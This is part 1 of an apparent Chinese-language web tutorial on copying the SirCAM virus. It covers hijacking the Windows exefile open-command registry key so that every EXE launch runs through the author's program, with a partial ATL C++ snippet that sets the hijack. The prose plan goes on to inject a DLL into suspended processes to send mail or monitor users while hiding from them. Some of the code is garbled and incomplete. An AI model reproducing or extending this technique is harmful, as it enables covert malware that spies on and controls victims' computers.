仿照SirCAM病毒控制EXE进程(1)

王朝vc·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

仿照SirCAM病毒控制EXE进程(1)

Chapter

1

SirCAM改写注册表的用途:

SirCAM把HKEY_LOCAL_MACHINE\SOFTWARE\classes\exefile\shell\open\command

键值改为”c:\recycled\SirC32.exe” “%1” %*,这样系统运行EXE文件时会按照这个命令行执行。正常的值是”%1” %*,也就是说”%1”是EXE文件的路径名,%*是调用时的输入参数。我猜测这么一改的话,系统就会每执行一个EXE文件,就先调用SirC32.exe,然后把真正要执行的程序的启动命令作为参数传给SirC32,它再自己调用即可。

这样我们就自然而然的有个想法了:

我们可以用ATL COM Wizard创建一个EXE程序,接过传进来的命令行参数,用CreateProcess起这个进程,这样结束当前自己的进程,只让新建的进程继续跑,这样用户不会怀疑!想想看,用户所有的EXE运行都在你的控制之中,进程是由你创建的,那么还有什么精灵古怪的东西做不到呢?

来,让我们一步一步做吧!

在我们构建的_tWinMain中来调用这个方法:

注意,只需要最开始运行本EXE时查看并修改注册表。

extern "C" int WINAPI _tWinMain(HINSTANCE hInstance,

HINSTANCE /*hPrevInstance*/, LPTSTR lpCmdLine, int /*nShowCmd*/)

{

………

LPCTSTR BOOL bModifyReg = TRUE;

lpszToken = FindOneOf(lpCmdLine, _T("\""));

while (lpszToken != NULL)

{

bModifyReg = FALSE;

break;

}

//==== 2 ==============

if( bModifyReg )

{

//=====================================================

//

// 从这句话我们可以拿到当前程序的路径:

//

TCHAR szCurrentPath[MAX_PATH];

GetSystemDirectory((LPTSTR)szCurrentPath, MAX_PATH);

_bstr_t bstrCurrentPath = _bstr_t(szCurrentPath);

//lpCmdLine = GetCommandLine(); //this line necessary for _ATL_MIN_CRT

//

//=======================================================

//=======================================================

//

// 检查注册表,如果我们要设的值在那儿,就

// 不理;

// 如果没有设置,设置它:

//

hr = ConfirmRegistry(bstrCurrentPath);

if( hr == E_ZY_CANNOT_FIND_RESOURCE ||

hr == E_ZY_CANNOT_SET_VALUE ||

hr == E_ZY_ERROR_REG )

{

_Module.Term();

CoUninitialize();

return S_OK;

}

else

{

// do nothing

}

//

//======================================================

}

//================= 2 =============================

.............

}

当然,改写了注册表之后,我们真正的工作才刚刚开始。

程序描述:

先试图改写注册表,

然后接过命令行传过来的用户要启动的EXE程序的路径,用CreateProcess起这个新进程;

但是让新起的进程并不马上运行,这是通过设置creation flags为CREATE_SUSPENDED来实现的。

然后我们往新建进程中用远程进程插入DLL,

这个DLL中我们可以在它的DllMain中作我们想做的事情,诸如用MAPI或者CDO发送邮件,监视用户动作等等;

成功插入DLL之后,我们结束当前自己的进程,只让新建的进程继续跑,这样用户不会怀疑!

接到的启动EXE的参数怎么处理呢?好戏刚刚开始,请看下回分解。

-----To be continued----

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航